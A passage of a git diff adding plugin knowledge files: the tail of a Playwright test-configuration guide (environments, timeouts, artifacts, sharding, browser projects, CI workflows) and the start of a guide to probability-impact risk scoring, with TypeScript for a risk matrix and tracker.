+export default envConfigMap[environment as keyof typeof envConfigMap];
+```
+
+```typescript
+// playwright/config/base.config.ts - Shared base configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export const baseConfig = defineConfig({
+  testDir: path.resolve(__dirname, '../tests'),
+  outputDir: path.resolve(__dirname, '../../test-results'),
+  fullyParallel: true,
+  forbidOnly: !!process.env.CI,
+  retries: process.env.CI ? 2 : 0,
+  workers: process.env.CI ? 1 : undefined,
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'test-results/results.xml' }],
+    ['list'],
+  ],
+  use: {
+    actionTimeout: 15000,
+    navigationTimeout: 30000,
+    trace: 'retain-on-failure-and-retries',
+    screenshot: 'only-on-failure',
+    video: 'retain-on-failure',
+  },
+  globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
+  timeout: 60000,
+  expect: { timeout: 10000 },
+});
+```
+
+```typescript
+// playwright/config/local.config.ts - Local environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'http://localhost:3000',
+    video: 'off', // No video locally for speed
+  },
+  webServer: {
+    command: 'npm run dev',
+    url: 'http://localhost:3000',
+    wait: {
+      stdout: /ready|listening|localhost:/i,
+    },
+    reuseExistingServer: !process.env.CI,
+    timeout: 120000,
+  },
+});
+```
+
+```typescript
+// playwright/config/staging.config.ts - Staging environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://staging.example.com',
+    ignoreHTTPSErrors: true, // Allow self-signed certs in staging
+  },
+});
+```
+
+```typescript
+// playwright/config/production.config.ts - Production environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  retries: 3, // More retries in production
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://example.com',
+    video: 'on', // Always record production failures
+  },
+});
+```
+
+```bash
+# .env.example - Template for developers
+TEST_ENV=local
+API_KEY=your_api_key_here
+DATABASE_URL=postgresql://localhost:5432/test_db
+```
+
+**Key Points**:
+
+- Central `envConfigMap` prevents environment misconfiguration
+- Fail-fast validation with clear error message (available envs listed)
+- Base config defines shared settings, environment configs override
+- `.env.example` provides template for required secrets
+- `TEST_ENV=local` as default for local development
+- Production config increases retries and enables video recording
+
+### Example 2: Timeout Standards
+
+**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
+
+**Implementation**:
+
+```typescript
+// playwright/config/base.config.ts - Standardized timeouts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  // Global test timeout: 60 seconds
+  timeout: 60000,
+
+  use: {
+    // Action timeout: 15 seconds (click, fill, etc.)
+    actionTimeout: 15000,
+
+    // Navigation timeout: 30 seconds (page.goto, page.reload)
+    navigationTimeout: 30000,
+  },
+
+  // Expect timeout: 10 seconds (all assertions)
+  expect: {
+    timeout: 10000,
+  },
+});
+```
+
+```typescript
+// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
+import { test as base } from '@playwright/test';
+
+type TimeoutOptions = {
+  extendedTimeout: (timeoutMs: number) => Promise<void>;
+};
+
+export const test = base.extend<TimeoutOptions>({
+  extendedTimeout: async ({}, use, testInfo) => {
+    const originalTimeout = testInfo.timeout;
+
+    await use(async (timeoutMs: number) => {
+      testInfo.setTimeout(timeoutMs);
+    });
+
+    // Restore original timeout after test
+    testInfo.setTimeout(originalTimeout);
+  },
+});
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// Usage in tests - Standard timeouts (implicit)
+import { test, expect } from '@playwright/test';
+
+test('user can log in', async ({ page }) => {
+  await page.goto('/login'); // Uses 30s navigation timeout
+  await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
+  await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
+
+  await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
+});
+```
+
+```typescript
+// Usage in tests - Per-test timeout override
+import { test, expect } from '../support/fixtures/timeout-fixture';
+
+test('slow data processing operation', async ({ page, extendedTimeout }) => {
+  // Override default 60s timeout for this slow test
+  await extendedTimeout(180000); // 3 minutes
+
+  await page.goto('/data-processing');
+  await page.click('[data-testid="process-large-file"]');
+
+  // Wait for long-running operation
+  await expect(page.getByText('Processing complete')).toBeVisible({
+    timeout: 120000, // 2 minutes for assertion
+  });
+});
+```
+
+```typescript
+// Per-assertion timeout override (inline)
+test('API returns quickly', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Override expect timeout for fast API (reduce flakiness detection)
+  await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
+
+  // Override expect timeout for slow external API
+  await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
+});
+```
+
+**Key Points**:
+
+- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
+- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
+- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
+- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
+- CI environments may need longer timeouts (handle in environment-specific config)
+
+### Example 3: Artifact Output Configuration
+
+**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Artifact configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  // Output directory for test artifacts
+  outputDir: path.resolve(__dirname, './test-results'),
+
+  use: {
+    // Screenshot on failure only (saves space)
+    screenshot: 'only-on-failure',
+
+    // Video recording on failure + retry
+    video: 'retain-on-failure',
+
+    // Keep failed attempts and retries for flake analysis
+    trace: 'retain-on-failure-and-retries',
+  },
+
+  reporter: [
+    // HTML report (visual, interactive)
+    [
+      'html',
+      {
+        outputFolder: 'playwright-report',
+        open: 'never', // Don't auto-open in CI
+      },
+    ],
+
+    // JUnit XML (CI integration)
+    [
+      'junit',
+      {
+        outputFile: 'test-results/results.xml',
+      },
+    ],
+
+    // List reporter (console output)
+    ['list'],
+  ],
+});
+```
+
+```typescript
+// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
+import { test as base } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+export const test = base.extend({
+  // Auto-capture console logs on failure
+  page: async ({ page }, use, testInfo) => {
+    const logs: string[] = [];
+
+    page.on('console', (msg) => {
+      logs.push(`[${msg.type()}] ${msg.text()}`);
+    });
+
+    await use(page);
+
+    // Save logs on failure
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
+      fs.writeFileSync(logsPath, logs.join('\n'));
+      testInfo.attachments.push({
+        name: 'console-logs',
+        contentType: 'text/plain',
+        path: logsPath,
+      });
+    }
+  },
+});
+```
+
+```yaml
+# .github/workflows/e2e.yml - CI artifact upload
+name: E2E Tests
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests
+        run: npm run test
+        env:
+          TEST_ENV: staging
+
+      # Upload test artifacts on failure
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: test-results/
+          retention-days: 30
+
+      - name: Upload Playwright report
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-report
+          path: playwright-report/
+          retention-days: 30
+```
+
+```typescript
+// Example: Custom screenshot on specific condition
+test('capture screenshot on specific error', async ({ page }) => {
+  await page.goto('/checkout');
+
+  try {
+    await page.click('[data-testid="submit-payment"]');
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+  } catch (error) {
+    // Capture custom screenshot with timestamp
+    await page.screenshot({
+      path: `test-results/payment-error-${Date.now()}.png`,
+      fullPage: true,
+    });
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `screenshot: 'only-on-failure'` saves space (not every test)
+- `video: 'retain-on-failure'` captures full flow on failures
+- `trace: 'retain-on-failure-and-retries'` keeps enough history to compare failing retries against passing runs
+- `webServer.wait` is better than startup sleeps when local servers print readiness to stdout/stderr
+- HTML report at `playwright-report/` (visual debugging)
+- JUnit XML at `test-results/results.xml` (CI integration)
+- CI uploads artifacts on failure with 30-day retention
+- Custom fixture can capture console logs, network logs, etc.
+
+### Example 4: Parallelization Configuration
+
+**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Parallelization settings
+import { defineConfig } from '@playwright/test';
+import os from 'os';
+
+export default defineConfig({
+  // Run tests in parallel within single file
+  fullyParallel: true,
+
+  // Worker configuration
+  workers: process.env.CI
+    ? 1 // Serial in CI for stability (or 2 for faster CI)
+    : os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
+
+  // Prevent accidentally committed .only() from blocking CI
+  forbidOnly: !!process.env.CI,
+
+  // Retry failed tests in CI
+  retries: process.env.CI ? 2 : 0,
+
+  // Shard configuration (split tests across multiple machines)
+  shard:
+    process.env.SHARD_INDEX && process.env.SHARD_TOTAL
+      ? {
+          current: parseInt(process.env.SHARD_INDEX, 10),
+          total: parseInt(process.env.SHARD_TOTAL, 10),
+        }
+      : undefined,
+});
+```
+
+```yaml
+# .github/workflows/e2e-parallel.yml - Sharded CI execution
+name: E2E Tests (Parallel)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [1, 2, 3, 4] # Split tests across 4 machines
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests (shard ${{ matrix.shard }})
+        run: npm run test
+        env:
+          SHARD_INDEX: ${{ matrix.shard }}
+          SHARD_TOTAL: 4
+          TEST_ENV: staging
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: test-results/
+```
+
+```typescript
+// playwright/config/serial.config.ts - Serial execution for flaky tests
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+
+  // Disable parallel execution
+  fullyParallel: false,
+  workers: 1,
+
+  // Used for: authentication flows, database-dependent tests, feature flag tests
+});
+```
+
+```typescript
+// Usage: Force serial execution for specific tests
+import { test } from '@playwright/test';
+
+// Serial execution for auth tests (shared session state)
+test.describe.configure({ mode: 'serial' });
+
+test.describe('Authentication Flow', () => {
+  test('user can log in', async ({ page }) => {
+    // First test in serial block
+  });
+
+  test('user can access dashboard', async ({ page }) => {
+    // Depends on previous test (serial)
+  });
+});
+```
+
+```typescript
+// Usage: Parallel execution for independent tests (default)
+import { test } from '@playwright/test';
+
+test.describe('Product Catalog', () => {
+  test('can view product 1', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+
+  test('can view product 2', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+});
+```
+
+**Key Points**:
+
+- `fullyParallel: true` enables parallel execution within single test file
+- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
+- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
+- `test.describe.configure({ mode: 'serial' })` for dependent tests
+- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
+- Matrix strategy in CI runs shards concurrently
+
+### Example 5: Project Configuration
+
+**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Multiple browser projects
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    // Desktop browsers
+    {
+      name: 'chromium',
+      use: { ...devices['Desktop Chrome'] },
+    },
+    {
+      name: 'firefox',
+      use: { ...devices['Desktop Firefox'] },
+    },
+    {
+      name: 'webkit',
+      use: { ...devices['Desktop Safari'] },
+    },
+
+    // Mobile browsers
+    {
+      name: 'mobile-chrome',
+      use: { ...devices['Pixel 5'] },
+    },
+    {
+      name: 'mobile-safari',
+      use: { ...devices['iPhone 13'] },
+    },
+
+    // Tablet
+    {
+      name: 'tablet',
+      use: { ...devices['iPad Pro'] },
+    },
+  ],
+});
+```
+
+```typescript
+// playwright.config.ts - Authenticated vs. unauthenticated projects
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  projects: [
+    // Setup project (runs first, creates auth state)
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+
+    // Authenticated tests (reuse auth state)
+    {
+      name: 'authenticated',
+      dependencies: ['setup'],
+      use: {
+        storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
+      },
+      testMatch: /.*authenticated\.spec\.ts/,
+    },
+
+    // Unauthenticated tests (public pages)
+    {
+      name: 'unauthenticated',
+      testMatch: /.*unauthenticated\.spec\.ts/,
+    },
+  ],
+});
+```
+
+```typescript
+// playwright/support/global-setup.ts - Setup project for auth
+import { chromium, FullConfig } from '@playwright/test';
+import path from 'path';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Perform authentication
+  await page.goto('http://localhost:3000/login');
+  await page.fill('[data-testid="email"]', 'test@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login-button"]');
+
+  // Wait for authentication to complete
+  await page.waitForURL('**/dashboard');
+
+  // Save authentication state
+  await page.context().storageState({
+    path: path.resolve(__dirname, '../.auth/user.json'),
+  });
+
+  await browser.close();
+}
+
+export default globalSetup;
+```
+
+```bash
+# Run specific project
+npx playwright test --project=chromium
+npx playwright test --project=mobile-chrome
+npx playwright test --project=authenticated
+
+# Run multiple projects
+npx playwright test --project=chromium --project=firefox
+
+# Run all projects (default)
+npx playwright test
+```
+
+```typescript
+// Usage: Project-specific test
+import { test, expect } from '@playwright/test';
+
+test('mobile navigation works', async ({ page, isMobile }) => {
+  await page.goto('/');
+
+  if (isMobile) {
+    // Open mobile menu
+    await page.click('[data-testid="hamburger-menu"]');
+  }
+
+  await page.click('[data-testid="products-link"]');
+  await expect(page).toHaveURL(/.*products/);
+});
+```
+
+```yaml
+# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
+name: E2E Tests (Cross-Browser)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        project: [chromium, firefox, webkit, mobile-chrome]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+      - run: npm ci
+      - run: npx playwright install --with-deps
+
+      - name: Run tests (${{ matrix.project }})
+        run: npx playwright test --project=${{ matrix.project }}
+```
+
+**Key Points**:
+
+- Projects enable testing across browsers, devices, and configurations
+- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
+- `dependencies` ensures setup project runs first (auth, data seeding)
+- `storageState` shares authentication across tests (0 seconds auth per test)
+- `testMatch` filters which tests run in which project
+- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
+- `isMobile` context property for conditional logic in tests
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
+- **Related fragments**:
+  - `fixture-architecture.md` - Fixture-based timeout overrides
+  - `ci-burn-in.md` - CI pipeline artifact upload
+  - `test-quality.md` - Timeout standards (no hard waits)
+  - `data-factories.md` - Per-test isolation (no shared global state)
+
+## Configuration Checklist
+
+**Before deploying tests, verify**:
+
+- [ ] Environment config map with fail-fast validation
+- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
+- [ ] Artifact storage at `test-results/` and `playwright-report/`
+- [ ] HTML + JUnit reporters configured
+- [ ] `.env.example`, `.nvmrc`, browser versions committed
+- [ ] Parallelization configured (workers, sharding)
+- [ ] Projects defined for cross-browser/device testing (if needed)
+- [ ] CI uploads artifacts on failure with 30-day retention
+
+_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/probability-impact.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/probability-impact.md
new file mode 100644
index 0000000..f287934
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/probability-impact.md
@@ -0,0 +1,601 @@
+# Probability and Impact Scale
+
+## Principle
+
+Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
+
+## Rationale
+
+**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
+
+**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
+
+**Why This Matters**:
+
+- Consistent risk language across product, engineering, and QA
+- Objective prioritization of test scenarios (not politics)
+- Automatic gate decisions (score=9 → FAIL until resolved)
+- Audit trail for compliance and retrospectives
+
+## Pattern Examples
+
+### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
+
+**Context**: Implement a reusable risk scoring system with automatic threshold classification
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-matrix.ts
+
+/**
+ * Probability levels:
+ * 1 = Unlikely (standard implementation, low uncertainty)
+ * 2 = Possible (edge cases or partial unknowns)
+ * 3 = Likely (known issues, new integrations, high ambiguity)
+ */
+export type Probability = 1 | 2 | 3;
+
+/**
+ * Impact levels:
+ * 1 = Minor (cosmetic issues or easy workarounds)
+ * 2 = Degraded (partial feature loss or manual workaround)
+ * 3 = Critical (blockers, data/security/regulatory exposure)
+ */
+export type Impact = 1 | 2 | 3;
+
+/**
+ * Risk score (probability × impact): 1-9
+ */
+export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+/**
+ * Action categories based on risk score thresholds
+ */
+export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
+
+export type RiskAssessment = {
+  probability: Probability;
+  impact: Impact;
+  score: RiskScore;
+  action: RiskAction;
+  reasoning: string;
+};
+
+/**
+ * Calculate risk score: probability × impact
+ */
+export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
+  return (probability * impact) as RiskScore;
+}
+
+/**
+ * Classify risk action based on score thresholds:
+ * - 1-3: DOCUMENT (awareness only)
+ * - 4-5: MONITOR (watch closely, plan mitigations)
+ * - 6-8: MITIGATE (CONCERNS at gate until mitigated)
+ * - 9: BLOCK (automatic FAIL until resolved or waived)
+ */
+export function classifyRiskAction(score: RiskScore): RiskAction {
+  if (score >= 9) return 'BLOCK';
+  if (score >= 6) return 'MITIGATE';
+  if (score >= 4) return 'MONITOR';
+  return 'DOCUMENT';
+}
+
+/**
+ * Full risk assessment with automatic classification
+ */
+export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
+  const { probability, impact, reasoning } = params;
+
+  const score = calculateRiskScore(probability, impact);
+  const action = classifyRiskAction(score);
+
+  return { probability, impact, score, action, reasoning };
+}
+
+/**
+ * Generate risk matrix visualization (3x3 grid)
+ * Returns markdown table with color-coded scores
+ */
+export function generateRiskMatrix(): string {
+  const matrix: string[][] = [];
+  const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
+  matrix.push(header);
+
+  const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
+  for (let impact = 3; impact >= 1; impact--) {
+    const row = [impactLabels[3 - impact]];
+    for (let probability = 1; probability <= 3; probability++) {
+      const score = calculateRiskScore(probability as Probability, impact as Impact);
+      const action = classifyRiskAction(score);
+      const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
+      row.push(`${emoji} ${score}`);
+    }
+    matrix.push(row);
+  }
+
+  return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
+}
+```
+
+**Key Points**:
+
+- Type-safe probability/impact (1-3 enforced at compile time)
+- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
+- Visual matrix generation for documentation
+- Risk score formula: `probability * impact` (max = 9)
+- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
+
+---
+
+### Example 2: Risk Assessment Workflow (Test Planning Integration)
+
+**Context**: Apply risk matrix during test design to prioritize scenarios
+
+**Implementation**:
+
+```typescript
+// tests/e2e/test-planning/risk-assessment.ts
+import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
+
+export type TestScenario = {
+  id: string;
+  title: string;
+  feature: string;
+  risk: RiskAssessment;
+  testLevel: 'E2E' | 'API' | 'Unit';
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+  owner: string;
+};
+
+/**
+ * Assess test scenarios and auto-assign priority based on risk score
+ */
+export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
+  return scenarios.map((scenario) => {
+    // Auto-assign priority based on risk score
+    const priority = mapRiskToPriority(scenario.risk.score);
+    return { ...scenario, priority };
+  });
+}
+
+/**
+ * Map risk score to test priority (P0-P3)
+ * P0: Critical (score 9) - blocks release
+ * P1: High (score 6-8) - must fix before release
+ * P2: Medium (score 4-5) - fix if time permits
+ * P3: Low (score 1-3) - document and defer
+ */
+function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
+  if (score === 9) return 'P0';
+  if (score >= 6) return 'P1';
+  if (score >= 4) return 'P2';
+  return 'P3';
+}
+
+/**
+ * Example: Payment flow risk assessment
+ */
+export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
+  {
+    id: 'PAY-001',
+    title: 'Valid credit card payment completes successfully',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 2, // Possible (standard Stripe integration)
+      impact: 3, // Critical (revenue loss if broken)
+      reasoning: 'Core revenue flow, but Stripe is well-tested',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-002',
+    title: 'Expired credit card shows user-friendly error',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 3, // Likely (edge case handling often buggy)
+      impact: 2, // Degraded (users see error, but can retry)
+      reasoning: 'Error handling logic is custom and complex',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-003',
+    title: 'Payment confirmation email formatting is correct',
+    feature: 'Email',
+    risk: assessRisk({
+      probability: 2, // Possible (template changes occasionally break)
+      impact: 1, // Minor (cosmetic issue, email still sent)
+      reasoning: 'Non-blocking, users get email regardless',
+    }),
+    testLevel: 'Unit',
+    owner: 'dev-team',
+  },
+  {
+    id: 'PAY-004',
+    title: 'Payment fails gracefully when Stripe is down',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 1, // Unlikely (Stripe has 99.99% uptime)
+      impact: 3, // Critical (complete checkout failure)
+      reasoning: 'Rare but catastrophic, requires retry mechanism',
+    }),
+    testLevel: 'API',
+    owner: 'qa-team',
+  },
+];
+
+/**
+ * Generate risk assessment report with priority distribution
+ */
+export function generateRiskReport(scenarios: TestScenario[]): string {
+  const priorityCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.priority] = (acc[s.priority] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  const actionCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  return `
+# Risk Assessment Report
+
+## Risk Matrix
+${generateRiskMatrix()}
+
+## Priority Distribution
+- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
+- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
+- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
+- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
+
+## Action Required
+- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
+- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
+- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
+- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
+
+## Scenarios by Risk Score (Highest First)
+${scenarios
+  .sort((a, b) => b.risk.score - a.risk.score)
+  .map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
+  .join('\n')}
+`.trim();
+}
+```
+
+**Key Points**:
+
+- Risk score → Priority mapping (P0-P3 automated)
+- Report generation with priority/action distribution
+- Scenarios sorted by risk score (highest first)
+- Visual matrix included in reports
+- Reusable across projects (extract to shared library)
+
+---
+
+### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
+
+**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-tracking.ts
+import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
+
+export type RiskHistory = {
+  timestamp: Date;
+  assessment: RiskAssessment;
+  changedBy: string;
+  reason: string;
+};
+
+export type TrackedRisk = {
+  id: string;
+  title: string;
+  feature: string;
+  currentRisk: RiskAssessment;
+  history: RiskHistory[];
+  mitigations: string[];
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
+};
+
+export class RiskTracker {
+  private risks: Map<string, TrackedRisk> = new Map();
+
+  /**
+   * Add new risk to tracker
+   */
+  addRisk(params: {
+    id: string;
+    title: string;
+    feature: string;
+    probability: Probability;
+    impact: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk {
+    const { id, title, feature, probability, impact, reasoning, changedBy } = params;
+
+    const assessment = assessRisk({ probability, impact, reasoning });
+
+    const risk: TrackedRisk = {
+      id,
+      title,
+      feature,
+      currentRisk: assessment,
+      history: [
+        {
+          timestamp: new Date(),
+          assessment,
+          changedBy,
+          reason: 'Initial assessment',
+        },
+      ],
+      mitigations: [],
+      status: 'OPEN',
+    };
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Reassess risk (probability or impact changed)
+   */
+  reassessRisk(params: {
+    id: string;
+    probability?: Probability;
+    impact?: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk | null {
+    const { id, probability, impact, reasoning, changedBy } = params;
+    const risk = this.risks.get(id);
+    if (!risk) return null;
+
+    // Use existing values if not provided
+    const newProbability = probability ?? risk.currentRisk.probability;
+    const newImpact = impact ?? risk.currentRisk.impact;
+
+    const newAssessment = assessRisk({
+      probability: newProbability,
+      impact: newImpact,
+      reasoning,
+    });
+
+    risk.currentRisk = newAssessment;
+    risk.history.push({
+      timestamp: new Date(),
+      assessment: newAssessment,
+      changedBy,
+      reason: reasoning,
+    });
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Mark risk as mitigated (probability reduced)
+   */
+  mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
+    const { id, newProbability, mitigation, changedBy } = params;
+    const risk = this.reassessRisk({
+      id,
+      probability: newProbability,
+      reasoning: `Mitigation implemented: ${mitigation}`,
+      changedBy,
+    });
+
+    if (risk) {
+      risk.mitigations.push(mitigation);
+      if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
+        risk.status = 'MITIGATED';
+      }
+    }
+
+    return risk;
+  }
+
+  /**
+   * Get risks requiring action (MITIGATE or BLOCK)
+   */
+  getRisksRequiringAction(): TrackedRisk[] {
+    return Array.from(this.risks.values()).filter(
+      (r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
+    );
+  }
+
+  /**
+   * Generate risk trend report (show changes over time)
+   */
+  generateTrendReport(riskId: string): string | null {
+    const risk = this.risks.get(riskId);
+    if (!risk) return null;
+
+    return `
+# Risk Trend Report: ${risk.id}
+
+**Title**: ${risk.title}
+**Feature**: ${risk.feature}
+**Status**: ${risk.status}
+
+## Current Assessment
+- **Probability**: ${risk.currentRisk.probability}
+- **Impact**: ${risk.currentRisk.impact}
+- **Score**: ${risk.currentRisk.score}
+- **Action**: ${risk.currentRisk.action}
+- **Reasoning**: ${risk.currentRisk.reasoning}
+
+## Mitigations Applied
+${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
+
+## History (${risk.history.length} changes)
+${risk.history
+  .reverse()
+  .map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
+  .join('\n')}
+`.trim();
+  }
+}
+```
+
+**Key Points**:
+
+- Historical tracking (audit trail for risk changes)
+- Mitigation impact tracking (probability reduction)
